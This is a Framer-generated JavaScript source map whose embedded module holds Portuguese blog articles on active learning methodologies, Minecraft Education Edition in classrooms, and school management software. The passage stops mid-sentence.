{"version":3,"file":"Fpz6D4Dpf-39.BqDn1FRV.mjs","names":["o","s"],"sources":["https:/framerusercontent.com/modules/uUXIhF9bmFdrqvpwkB7D/9imrj1afFOPX7NkoeaB7/Fpz6D4Dpf-39.js"],"sourcesContent":["import{jsx as e,jsxs as a}from\"react/jsx-runtime\";import{Link as o}from\"framer\";import{motion as s}from\"framer-motion\";import*as i from\"react\";export const richText=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"No texto de hoje vamos abordar a tem\\xe1tica das metodologias ativas de aprendizagem e os princ\\xedpios fundamentais que sustentam a pr\\xe1tica pedag\\xf3gica.\"}),/*#__PURE__*/e(\"p\",{children:\"Ser\\xe3o apresentadas as estrat\\xe9gias que podem ser utilizadas visando tornar a aprendizagem dos estudantes mais aut\\xf4noma, significativa e inovadora na sua escola. Vamos l\\xe1!\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Entenda o que s\\xe3o as metodologias ativas de aprendizagem \"})}),/*#__PURE__*/a(\"p\",{children:[\"As \",/*#__PURE__*/e(o,{href:\"http://www2.eca.usp.br/moran/wp-content/uploads/2013/12/metodologias.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"metodologias ativas de aprendizagem\"})}),\" s\\xe3o abordagens pedag\\xf3gicas baseadas em estrat\\xe9gias de ensino que t\\xeam por objetivo incentivar o aprendizado dos estudantes de forma aut\\xf4noma e participativa.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"Elas surgiram no fim do s\\xe9culo XIX, mas ainda geram d\\xfavidas e s\\xe3o interpretadas de formas muito diversas no universo da educa\\xe7\\xe3o.\\xa0\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"O m\\xe9todo ativo, que \\xe9 centrado no estudante, visa uma aprendizagem com mais sentido, baseando-se no di\\xe1logo direto com a vida pr\\xe1tica e o futuro profissional do estudante.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Neste m\\xe9todo o aluno aprende por investiga\\xe7\\xe3o, descoberta, constru\\xe7\\xe3o e intera\\xe7\\xe3o com seus colegas e com o tema estudado. J\\xe1 o professor se torna coadjuvante e atua como um tutor, ou seja, um facilitador para o desenvolvimento do conhecimento.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"No m\\xe9todo tradicional, o professor det\\xe9m todo o conhecimento e est\\xe1 no centro do processo de ensino e aprendizagem, enquanto o aluno atua, de forma passiva, como um receptor de teorias. \"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Aprofundando-se no tema\"})}),/*#__PURE__*/a(\"p\",{children:[\"O m\\xe9todo consiste em uma \",/*#__PURE__*/e(o,{href:\"https://edisciplinas.usp.br/pluginfile.php/4650060/mod_resource/content/1/404-1658-1-PB%20%281%29.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"aprendizagem colaborativa \"})}),\"em que o professor, o estudante e seus pares v\\xe3o construir o conhecimento em conjunto, sem hierarquias.\\xa0\"]}),/*#__PURE__*/a(\"p\",{children:[\"Essa perspectiva dialoga com a concep\\xe7\\xe3o de aprendizado de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/8-livros-de-paulo-freire-para-pensar-educacao\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"Paulo Freire\"})}),\", que acreditava que a educa\\xe7\\xe3o acontece de forma a integrar um conjunto com diferentes atores, em suas reflex\\xf5es, a\\xe7\\xf5es, palavras e ideias.\"]}),/*#__PURE__*/e(\"p\",{children:\"As metodologias ativas de aprendizagem passam por acolher o gosto dos estudantes e consideram seu jeito particular de aprender. O objetivo \\xe9 ampliar neles as possibilidades de exercitar autonomia e liberdade, al\\xe9m de proporcionar mais interesse pelo aprendizado.\\xa0\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Assim, para que a aprendizagem ativa aconte\\xe7a de uma forma plena, \\xe9 importante adicionar afeto e estimular a curiosidade.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Concep\\xe7\\xf5es fundamentais\"})}),/*#__PURE__*/a(\"p\",{children:[\"Segundo o \",/*#__PURE__*/e(o,{href:\"https://edisciplinas.usp.br/pluginfile.php/4650060/mod_resource/content/1/404-1658-1-PB%20%281%29.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"artigo da Revista Thema\"})}),\", peri\\xf3dico de Educa\\xe7\\xe3o, as metodologias ativas de aprendizagem possuem princ\\xedpios basilares interconectados. Conhe\\xe7a agora alguns destaques:\"]}),/*#__PURE__*/a(\"h3\",{children:[/*#__PURE__*/e(\"strong\",{children:\"- Teoria \"}),/*#__PURE__*/e(\"em\",{children:/*#__PURE__*/e(\"strong\",{children:\"versus\"})}),/*#__PURE__*/e(\"strong\",{children:\" pr\\xe1tica\"})]}),/*#__PURE__*/e(\"p\",{children:\"As metodologias ativas de aprendizagem adotam como ponto de partida a realidade pr\\xe1tica para posteriormente estudar a teoria do objeto. O que diverge do que estamos acostumados a ver no ensino tradicional.\"}),/*#__PURE__*/e(\"p\",{children:\"Desse modo, o estudante tem a oportunidade de uma maior intera\\xe7\\xe3o na constru\\xe7\\xe3o do conhecimento.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Isso porque ele ser\\xe1 deslocado a uma postura ativa de busca de sua compreens\\xe3o com a pesquisa, a leitura, a compara\\xe7\\xe3o e a observa\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Autonomia do aluno\"})}),/*#__PURE__*/e(\"p\",{children:\"Na postura de investiga\\xe7\\xe3o, descoberta, compara\\xe7\\xe3o, pesquisa e leitura o estudante \\xe9 incentivado a pensar seu pr\\xf3prio caminho.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"O abandono do lugar de receptor passivo tende a incentiv\\xe1-lo a colaborar, n\\xe3o apenas visando sua compreens\\xe3o do objeto estudado, mas tamb\\xe9m dos colegas que participam do processo.\"}),/*#__PURE__*/e(\"p\",{children:\"Incentivando tamb\\xe9m sua participa\\xe7\\xe3o e engajamento, al\\xe9m da autonomia. Afinal, o estudante encontrar\\xe1 um espa\\xe7o mais aberto para discordar, interferir e contribuir.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Reflex\\xe3o \"})}),/*#__PURE__*/e(\"p\",{children:\"Compreender e refletir sobre o que acontece \\xe0 nossa volta \\xe9 uma potencialidade das metodologias ativas.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Elas partem da concep\\xe7\\xe3o de que num mundo globalizado e tecnol\\xf3gico, se torna cada vez mais necess\\xe1rio criticidade, responsabilidade e vis\\xe3o intercultural. A fim de desenvolver uma postura humana, cidad\\xe3 e coletiva no estudante. \"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Inova\\xe7\\xe3o\"})}),/*#__PURE__*/e(\"p\",{children:\"O m\\xe9todo ativo potencializa que uma sala de aula seja muito mais din\\xe2mica e inovadora. Considerando que a inser\\xe7\\xe3o dessa metodologia incentiva o uso de pr\\xe1ticas combinadas e outras metodologias.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Assim, os professores e estudantes podem experimentar e elaborar diferentes modelos de aprendizado, de acordo com o objetivo do projeto. A sala de aula ent\\xe3o tem o potencial de ser transformada em um laborat\\xf3rio de possibilidades.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Professor mediador\"})}),/*#__PURE__*/e(\"p\",{children:\"\\xc9 fundamental notar que o professor n\\xe3o perde seu valor. Na verdade, ele ganha uma nova responsabilidade. Seu papel ser\\xe1 guiar, provocar e desafiar o estudante \\xe0 finalidade pedag\\xf3gica.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Por isso, o professor precisa ser empoderado e ter seu lugar de refer\\xeancia garantido como um mediador de todo o processo.\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Conhe\\xe7a as estrat\\xe9gias de aplica\\xe7\\xe3o \"})}),/*#__PURE__*/a(\"p\",{children:[\"O livro\",/*#__PURE__*/e(o,{href:\"https://curitiba.ifpr.edu.br/wp-content/uploads/2020/08/Metodologias-Ativas-para-uma-Educacao-Inovadora-Bacich-e-Moran.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/a(s.a,{children:[\" \",/*#__PURE__*/e(\"em\",{children:\"Metodologias ativas para uma educa\\xe7\\xe3o inovadora\"}),\",\"]})}),\" organizado pela Doutora em Psicologia Escolar e do Desenvolvimento Humano, Lilian Bacich, destaca que o m\\xe9todo ativo possui algumas estrat\\xe9gias de aplica\\xe7\\xe3o. Elas incluem:\"]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- A aprendizagem baseada em projetos\"})}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/pedagogia-de-projetos-saiba-os-passos-para-implementar-em-sua-escola\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"\\xa0A\\xa0 aprendizagem por projetos\"})}),\" \\xe9 uma estrat\\xe9gia de ensino por meio da experi\\xeancia, que prop\\xf5e uma \",/*#__PURE__*/e(o,{href:\"https://arvore.com.br/blog/educacao/aprendizado-baseado-em-projetos/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"conex\\xe3o entre o estudante e um projeto\"})}),\" de pesquisa que desperte o interesse dele.\"]}),/*#__PURE__*/e(\"p\",{children:\"O papel do professor, nessa proposta, \\xe9 favorecer o ensino com base nas descobertas, frutos das pesquisas realizadas pela classe, sob sua orienta\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- A aprendizagem baseada em jogos\"})}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/gamificacao-na-educacao\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"A gamifica\\xe7\\xe3o\"})}),\" \\xe9 uma metodologia ativa de aprendizagem que expande os horizontes pedag\\xf3gicos por meio de \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/gamificacao-na-educacao-como-usar-para-engajar-seus-alunos\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"atividades motivadoras e divertidas\"})}),\".\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"Assim, ela \\xe9 a utiliza\\xe7\\xe3o de elementos dos jogos para gerar interesse e engajamento em diversas \\xe1reas.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Com isso, possibilita que os alunos desenvolvam formas mais criativas e inovadoras de solucionar os problemas apresentados.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- O m\\xe9todo de casos \"})}),/*#__PURE__*/a(\"p\",{children:[\"Norteado por perguntas elaboradas pelo professor, o \",/*#__PURE__*/e(o,{href:\"https://www.pucpr.br/wp-content/uploads/2017/10/estudo-de-caso-como-abordagem-de-ensino.pdf\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"m\\xe9todo de casos\"})}),\" busca a resolu\\xe7\\xe3o de problemas reais.\\xa0\"]}),/*#__PURE__*/a(\"p\",{children:[\"Considerando os objetivos de aprendizagem, como compet\\xeancias e habilidades da \",/*#__PURE__*/e(o,{href:\"http://basenacionalcomum.mec.gov.br/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"BNCC\"})}),\", tem o potencial de trazer a aplica\\xe7\\xe3o de conceitos te\\xf3ricos a problemas pr\\xe1ticos.\"]}),/*#__PURE__*/e(\"p\",{children:\"Al\\xe9m disso, pode ser ainda mais significativo quando desenvolvido em equipe. O ponto alto desse m\\xe9todo \\xe9 a possibilidade de encontrar m\\xfaltiplas solu\\xe7\\xf5es para o mesmo problema. Trabalhando assim, a criatividade e a imagina\\xe7\\xe3o.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Sala de aula invertida\"})}),/*#__PURE__*/a(\"p\",{children:[\"Na \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/o-que-e-sala-aula-invertida\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"sala de aula invertida\"})}),\", invertem-se as expectativas tradicionais sobre o que o estudante deve fazer em casa e na sala de aula.\\xa0\"]}),/*#__PURE__*/e(\"p\",{children:\"Na escola, em vez de ouvir sobre conceitos e autores, o estudante ter\\xe1 oportunidade de discutir, esclarecer d\\xfavidas, fazer atividades e colocar em pr\\xe1tica o que aprendeu em casa.\\xa0\"}),/*#__PURE__*/a(\"p\",{children:[\"Utilizando o \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/ensino-hibrido-descubra-o-que-e-e-como-ele-funciona\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!0,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"ensino h\\xedbrido\"})}),\", o professor ent\\xe3o tem o papel de orientar o estudante sobre o que deve ser visto remotamente e possibilitar novas conex\\xf5es e ideias no momento presencial. \"]}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/e(\"strong\",{children:\"Saiba como inserir as metodologias ativas na sua escola\"})}),/*#__PURE__*/e(\"p\",{children:\"Alguns passos devem ser seguidos antes de inserir essa metodologia na sua escola, mas \\xe9 importante destacar que n\\xe3o necessariamente o modelo tradicional precisa ser abandonado. As metodologias ativas podem e devem dialogar com a pr\\xe1tica tradicional.\"}),/*#__PURE__*/e(\"p\",{children:\"As aulas expositivas continuam tendo valor e por isso, a depender do projeto ou da sua fase de execu\\xe7\\xe3o, s\\xe3o essenciais.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"E para os gestores que ainda se sentem inseguros, uma boa alternativa \\xe9 inserir pequenos projetos e atividades com os princ\\xedpios das metodologias ativas ao longo do semestre.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Como projetos de leitura, rodas de conversa, atividades diversas que trabalhem sua autonomia, participa\\xe7\\xe3o e reflex\\xe3o. Agora, veja alguns pontos de aten\\xe7\\xe3o!\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Discuta a tem\\xe1tica\"})}),/*#__PURE__*/e(\"p\",{children:\"Mudan\\xe7as nunca s\\xe3o f\\xe1ceis, exigem pesquisa, comprometimento e apoio de todos os envolvidos. \"}),/*#__PURE__*/e(\"p\",{children:\"Por isso, \\xe9 essencial que professores, coordenadores, respons\\xe1veis, e principalmente os estudantes, fa\\xe7am parte de todas as discuss\\xf5es. Mas al\\xe9m disso, que tenham suas vozes e d\\xfavidas respeitadas e acolhidas.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Forma\\xe7\\xe3o dos professores\"})}),/*#__PURE__*/e(\"p\",{children:\"A inser\\xe7\\xe3o de um ensino baseado nas metodologias ativas embora torne o estudante protagonista n\\xe3o retira do professor o papel de mediador e orientador de todo o processo.\"}),/*#__PURE__*/e(\"p\",{children:\"O que exige cuidado, aten\\xe7\\xe3o e certo jogo de cintura para lidar com a poss\\xedvel imprevisibilidade de alguns caminhos que as aulas podem tomar. \"}),/*#__PURE__*/e(\"p\",{children:\"Por isso, a forma\\xe7\\xe3o continuada \\xe9 fundamental! O novo formato tende a se distanciar do que os professores viram em sua trajet\\xf3ria de experi\\xeancias e da gradua\\xe7\\xe3o. \"}),/*#__PURE__*/e(\"p\",{children:\"Assim, a forma\\xe7\\xe3o vai possibilitar que os educadores conquistem seguran\\xe7a para trilhar esse novo caminho com os estudantes.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"- Novas tecnologias\"})}),/*#__PURE__*/e(\"p\",{children:\"O uso das tecnologias faz parte da inser\\xe7\\xe3o das metodologias ativas no ensino, afinal, elas est\\xe3o presentes no dia a dia dos estudantes. \"}),/*#__PURE__*/e(\"p\",{children:\"Sua presen\\xe7a nas atividades de diversos componentes curriculares, al\\xe9m de tornar as aulas mais din\\xe2micas, pode facilitar a adapta\\xe7\\xe3o dos estudantes ao novo formato de aprendizagem. \"}),/*#__PURE__*/e(\"p\",{children:\"Uma vez que um dos princ\\xedpios das metodologias ativas passa pela aprendizagem personalizada e o est\\xedmulo da autonomia.\"}),/*#__PURE__*/e(\"p\",{children:\"‍\"}),/*#__PURE__*/a(\"p\",{children:[/*#__PURE__*/e(\"br\",{}),/*#__PURE__*/e(\"br\",{className:\"trailing-break\"})]}),/*#__PURE__*/e(\"p\",{children:\"Por fim, gestor, devemos lembrar que a inser\\xe7\\xe3o das metodologias ativas em sua escola n\\xe3o significa o abandono do modelo tradicional. \"}),/*#__PURE__*/e(\"p\",{children:\"As estrat\\xe9gias podem ser executadas por meio de atividades, pr\\xe1ticas e outras metodologias que dialoguem com os princ\\xedpios da autonomia e do protagonismo do estudante. At\\xe9 o pr\\xf3ximo texto!\"})]});export const richText1=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Que games e educa\\xe7\\xe3o podem se unir para o processo de aprendizado das crian\\xe7as, n\\xe3o \\xe9 nenhuma novidade. Mas voc\\xea sabia que um dos games mais populares entre as crian\\xe7as possui uma vers\\xe3o exclusiva para ser usada em sala de aula? Trata-se do MinecraftEdu, uma vers\\xe3o do Minecraft exclusiva para a sala de aula, que foi lan\\xe7ada em 2011 pela Mojang. Confira mais no post!\"}),/*#__PURE__*/e(\"h2\",{children:\"MinecraftEdu: ferramenta para sala de aula\"}),/*#__PURE__*/a(\"p\",{children:[\"Recentemente, a Microsoft comprou a Mojang e assim adquiriu o MinecraftEdu. A empresa investiu em uma nova vers\\xe3o ampliada e com novas funcionalidades. A partir do dia 1\\xba de novembro, a vers\\xe3o completa do programa foi liberada para compra em mais de 40 pa\\xedses (no Brasil, apenas a vers\\xe3o de teste foi liberada). De acordo com o diretor de Educa\\xe7\\xe3o da Microsoft, Ant\\xf4nio Moraes, a nova edi\\xe7\\xe3o, conhecida como \",/*#__PURE__*/e(\"strong\",{children:\"Minecraft: Education Edition\"}),\", busca atender melhor \\xe0s necessidades de estudantes e educadores.\"]}),/*#__PURE__*/e(\"p\",{children:\"O Minecraft \\xe9 um jogo em que a criatividade \\xe9 a protagonista. A partir das mat\\xe9rias-primas coletadas, os jogadores podem construir objetos e pr\\xe9dios tudo em forma de blocos. A vers\\xe3o educativa traz a possibilidade de os alunos transitarem por lugares hist\\xf3ricos, como as pir\\xe2mides do Egito. “Transportando o aluno para um mundo que, em geral, ele estudou, mas nunca conheceu”, diz o diretor. \\xa0Segundo Moraes, o Minecraft vem sendo utilizado em escolas de todo o mundo para ensinar desde disciplinas como ci\\xeancias e matem\\xe1tica e at\\xe9 arte e poesia.\"}),/*#__PURE__*/e(\"p\",{children:\"No Brasil, os professores t\\xeam acesso a vers\\xe3o teste e n\\xe3o h\\xe1 previs\\xe3o para o lan\\xe7amento da vers\\xe3o final no pa\\xeds. “Os recursos aos quais os professores podem ter acesso com a vers\\xe3o de testes s\\xe3o os mesmos do que em outros pa\\xedses”, explica Ant\\xf4nio. O Minecraft: Education Edition traz um modo multiplayer, que permite que os jogadores criem um mundo Minecraft juntos. Assim, at\\xe9 30 alunos podem construir projetos e resolver problemas simultaneamente.\"}),/*#__PURE__*/e(\"p\",{children:'\"Quando come\\xe7ar a usar o Minecraft na sala de aula, \\xe9 importante evitar a tend\\xeancia a usar uma linguagem excessivamente formal.\"'}),/*#__PURE__*/a(\"p\",{children:[\"“Os jovens podem tirar snapshots (uma imagem\",/*#__PURE__*/e(\"strong\",{children:\" \"}),\"do estado atual da m\\xe1quina virtual, assim \\xe9 poss\\xedvel guardar as informa\\xe7\\xf5es do disco, que servem como uma forma de backup) para salvar na se\\xe7\\xe3o de Portf\\xf3lio”, menciona o diretor ao falar do recurso de c\\xe2mera, que permite que os alunos tirem fotos do seu trabalho. Dessa forma, os professores acompanham a progress\\xe3o do aprendizado da turma. Al\\xe9m disso, no jogo, os educadores podem criar um personagem para agir como um guia e dar informa\\xe7\\xf5es aos alunos ou mesmo para desafi\\xe1-los a resolver problemas. Caminhando pelo o mundo virtual do Minecraft, os estudantes tamb\\xe9m se depararam com pequenos quadros onde s\\xe3o colocadas instru\\xe7\\xf5es para o desenvolvimento dos projetos.\"]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"O aprendizado\"})}),/*#__PURE__*/e(\"p\",{children:\"Os jogos podem desenvolver habilidades para a solu\\xe7\\xe3o de problemas l\\xf3gicos al\\xe9m de estimular a criatividade. “Mas \\xe9 importante que estejam atrelados a uma linha educacional para que tragam resultados”, destaca o diretor. “Um aspecto interessante para o professor \\xe9 que quando come\\xe7ar a usar o Minecraft na sala de aula, \\xe9 importante evitar a tend\\xeancia a usar uma linguagem excessivamente formal. Se as regras e limites forem flexibilizadas, a capacidade dos estudantes de enfrentar desafios criticamente tende a florescer”.\"}),/*#__PURE__*/e(\"img\",{alt:\"shutterstock_317247461\",className:\"framer-image\",src:\"https://framerusercontent.com/images/XTG4RF4AqbT8tT6DcZdO5bB0bkM.jpeg\"}),/*#__PURE__*/a(\"p\",{children:[\"“\\xc9 importante ressaltar que os professores n\\xe3o t\\xeam de ser especialistas em games para usar essa ferramenta. Eles podem deixar que os estudantes sejam os especialistas, que passam a se tornar um grande recurso de intelig\\xeancia”. Os professores que n\\xe3o conhecem a ferramenta podem acessar o site do\",/*#__PURE__*/e(o,{href:\"https://education.minecraft.net/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\" Minecraft Education\"})}),\", onde est\\xe3o dispon\\xedveis cen\\xe1rios de jogos para iniciantes e uma experi\\xeancia tutorial. Al\\xe9m disso, h\\xe1 tamb\\xe9m o programa Minecraft Mentors, que conecta os educadores com outros que tenham experi\\xeancia pr\\xe9via com o jogo.\"]}),/*#__PURE__*/a(\"p\",{children:[\"Professores podem fazer o download em portugu\\xeas no \",/*#__PURE__*/e(o,{href:\"http://education.minecraft.net/download/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"site\"})}),\". O Minecraft Edition pode ser adquirido por organiza\\xe7\\xf5es como escolas, bibliotecas e museus. Para saber se a plataforma est\\xe1 dispon\\xedvel para sua institui\\xe7\\xe3o, confira no \",/*#__PURE__*/e(o,{href:\"http://education.minecraft.net/download/\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"site\"})}),\" os detalhes espec\\xedficos sobre elegibilidade.\"]})]});export const richText2=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"p\",{children:\"Oferecer uma educa\\xe7\\xe3o de qualidade n\\xe3o \\xe9 tarefa f\\xe1cil. Principalmente porque, no gerenciamento de uma institui\\xe7\\xe3o de ensino, v\\xe1rias outras demandas est\\xe3o envolvidas, principalmente as que dizem respeito aos processos internos administrativos. Por isso, contar com um sistema de gest\\xe3o escolar pode ser o grande diferencial para o sucesso.\"}),/*#__PURE__*/e(\"p\",{children:\"Afinal, para conseguir destacar a escola no mercado \\xe9 essencial que o gestor tenha uma vis\\xe3o ampla e ordenada da rotina do neg\\xf3cio, o que possibilita a tomada de decis\\xf5es acertadas e a capta\\xe7\\xe3o de novos alunos, al\\xe9m de assegurar a sustentabilidade financeira da institui\\xe7\\xe3o.\\xa0\"}),/*#__PURE__*/e(\"p\",{children:\"Quer saber mais sobre os benef\\xedcios desse recurso? Acompanhe este artigo e confira!\"}),/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/a(\"strong\",{children:[\"O que \\xe9 um sistema de gest\\xe3o escolar?\",/*#__PURE__*/e(\"br\",{})]})}),/*#__PURE__*/e(\"p\",{children:\"O sistema de gest\\xe3o escolar \\xe9 um software que automatiza e controla procedimentos burocr\\xe1ticos do dia a dia de uma institui\\xe7\\xe3o de ensino, tornando-os mais f\\xe1ceis, organizados e eficientes ao permitir a intera\\xe7\\xe3o entre os setores acad\\xeamico, pedag\\xf3gico e financeiro\"}),/*#__PURE__*/a(\"p\",{children:[\"Levando em conta a constante \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/quais-as-6-maiores-tendencias-da-transformacao-digital-na-educacao\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"transforma\\xe7\\xe3o digital na educa\\xe7\\xe3o\"})}),\" e a necessidade que as institui\\xe7\\xf5es de ensino t\\xeam de acompanhar as novas demandas do mercado, a n\\xe3o utiliza\\xe7\\xe3o desse tipo de recurso traz muitas dificuldades \\xe0 gest\\xe3o da escola, principalmente pelo grande volume de informa\\xe7\\xf5es com o qual \\xe9 preciso lidar.\"]})]});export const richText3=/*#__PURE__*/a(i.Fragment,{children:[/*#__PURE__*/e(\"h2\",{children:/*#__PURE__*/a(\"strong\",{children:[\"Por que implementar um software de gest\\xe3o escolar?\",/*#__PURE__*/e(\"br\",{})]})}),/*#__PURE__*/e(\"p\",{children:\"Confira cinco motivos pelos quais a implementa\\xe7\\xe3o de um software de gest\\xe3o escolar \\xe9 um vantajoso investimento para a sua institui\\xe7\\xe3o de ensino.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"1. Otimiza as atividades administrativas e financeiras\"})}),/*#__PURE__*/e(\"p\",{children:\"Geralmente, atividades pertinentes \\xe0s rotinas administrativas e financeiras s\\xe3o muito burocr\\xe1ticas e tomam bastante tempo do gestor escolar, impedindo que o profissional se dedique a assuntos mais importantes, como as atividades pedag\\xf3gico-educativas.\"}),/*#__PURE__*/a(\"p\",{children:[\"Contudo, por meio de um bom software de gest\\xe3o escolar, tarefas administrativas e financeiras s\\xe3o automatizadas, o que permite focar em \\xe1reas mais estrat\\xe9gicas da institui\\xe7\\xe3o de ensino, como a capta\\xe7\\xe3o e a \",/*#__PURE__*/e(o,{href:\"https://www.arvore.com.br/blog/como-reter-alunos\",motionChild:!0,nodeId:\"Fpz6D4Dpf\",openInNewTab:!1,scopeId:\"contentManagement\",smoothScroll:!1,children:/*#__PURE__*/e(s.a,{children:\"reten\\xe7\\xe3o de alunos\"})}),\".\"]}),/*#__PURE__*/e(\"p\",{children:\"Veja algumas vantagens trazidas por esse recurso:\"}),/*#__PURE__*/a(\"ul\",{children:[/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"total controle sobre as opera\\xe7\\xf5es financeiras;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"administra\\xe7\\xe3o eficaz das contas a pagar e a receber — viabilizando a diminui\\xe7\\xe3o da inadimpl\\xeancia;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"emiss\\xe3o de notas fiscais diretamente pelo sistema;\"})}),/*#__PURE__*/e(\"li\",{\"data-preset-tag\":\"p\",children:/*#__PURE__*/e(\"p\",{children:\"disponibiliza\\xe7\\xe3o de informa\\xe7\\xf5es mais precisas.\"})})]}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"2. Beneficia a elabora\\xe7\\xe3o de relat\\xf3rios\\xa0\"})}),/*#__PURE__*/e(\"p\",{children:\"Uma das principais vantagens desse recurso, tanto para gestores quanto para diretores de escolas, \\xe9 a variedade de relat\\xf3rios gerados dentro do programa, que podem ser utilizados para tomar decis\\xf5es r\\xe1pidas e precisas.\"}),/*#__PURE__*/e(\"h3\",{children:/*#__PURE__*/e(\"strong\",{children:\"3. Aprimora a capta\\xe7\\xe3o de alunos\\xa0\"})}),/*#__PURE__*/e(\"p\",{children:\"Institui\\xe7\\xf5es que t\\xeam um sistema de gest\\xe3o escolar conseguem estruturar melhor todas as etapas 